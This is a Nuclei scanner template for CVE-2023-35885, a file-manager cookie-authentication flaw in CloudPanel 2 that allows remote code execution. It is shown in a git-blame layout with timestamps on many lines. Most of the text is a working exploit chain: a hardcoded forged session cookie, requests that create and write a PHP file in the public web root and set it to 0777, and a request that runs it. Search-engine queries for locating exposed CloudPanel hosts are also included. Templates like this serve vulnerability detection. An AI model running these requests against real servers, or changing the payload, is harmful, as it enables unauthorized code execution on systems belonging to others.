2023-07-28 21:06:02 +00:00
|
|
|
id: CVE-2023-35885
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Cloudpanel 2 < 2.3.1 - Remote Code Execution
|
|
|
|
author: DhiyaneshDk
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
CloudPanel 2 before 2.3.1 has insecure file-manager cookie authentication.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
2023-09-06 11:43:37 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Cloudpanel to version 2.3.1 or later to mitigate this vulnerability.
|
2023-07-28 21:06:02 +00:00
|
|
|
reference:
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-35885
|
|
|
|
- https://www.datack.my/fallingskies-cloudpanel-0-day/
|
|
|
|
- https://github.com/datackmy/FallingSkies-CVE-2023-35885
|
|
|
|
- https://www.cloudpanel.io/docs/v2/changelog/
|
2024-01-29 17:11:14 +00:00
|
|
|
- https://github.com/Tropinene/Yscanner
|
2023-07-28 21:06:02 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2023-35885
|
|
|
|
cwe-id: CWE-565
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.48073
|
|
|
|
epss-percentile: 0.97467
|
2023-09-06 11:43:37 +00:00
|
|
|
cpe: cpe:2.3:a:mgt-commerce:cloudpanel:*:*:*:*:*:*:*:*
|
2023-07-28 21:06:02 +00:00
|
|
|
metadata:
|
2023-09-06 11:43:37 +00:00
|
|
|
verified: true
|
2023-07-28 21:08:22 +00:00
|
|
|
max-request: 5
|
2023-09-06 11:43:37 +00:00
|
|
|
vendor: mgt-commerce
|
2023-07-28 21:08:22 +00:00
|
|
|
product: cloudpanel
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query:
|
|
|
|
- title:"Cloudpanel"
|
|
|
|
- http.title:"cloudpanel"
|
|
|
|
- http.favicon.hash:"151132309"
|
|
|
|
fofa-query:
|
|
|
|
- icon_hash="151132309"
|
|
|
|
- title="cloudpanel"
|
2024-05-31 19:23:20 +00:00
|
|
|
google-query: intitle:"cloudpanel"
|
2024-04-15 11:26:37 +00:00
|
|
|
tags: cve2023,cve,cloudpanel,rce,intrusive,mgt-commerce,fileupload
|
2023-07-28 21:06:02 +00:00
|
|
|
variables:
|
|
|
|
session: "ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY="
|
|
|
|
str1: "{{rand_base(10)}}"
|
2024-04-15 11:26:37 +00:00
|
|
|
string: "CVE-2023-35885"
|
2023-07-28 21:06:02 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /file-manager/ HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Cookie: clp-fm={{session}}
|
|
|
|
- |
|
|
|
|
POST /file-manager/backend/makefile HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Cookie: clp-fm={{session}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
id=/htdocs/app/files/public/&name={{str1}}.php
|
|
|
|
- |
|
|
|
|
POST /file-manager/backend/text HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Cookie: clp-fm={{session}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2024-04-15 11:26:37 +00:00
|
|
|
id=/htdocs/app/files/public/{{str1}}.php&content=<?php echo md5("{{string}}");unlink(__FILE__);?>
|
2023-07-28 21:06:02 +00:00
|
|
|
- |
|
|
|
|
POST /file-manager/backend/permissions HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Cookie: clp-fm={{session}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
id=/htdocs/app/files/public/{{str1}}.php&permissions=0777
|
|
|
|
- |
|
|
|
|
GET /{{str1}}.php HTTP/2
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers:
|
2024-04-15 11:26:37 +00:00
|
|
|
- type: word
|
|
|
|
part: body_5
|
|
|
|
words:
|
|
|
|
- '{{md5(string)}}'
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 490a00463044022005bf8c8a3b3b2bec29dd4ba7cd1da445c71437eb9d7b3c226e9b5e4ac7c8eec4022068ee1c986b70232e2fe5f05f26a7e12819b7490f0623339bb63a2cb3ed945bd9:922c64590222798bb761d5b6d8e72950
|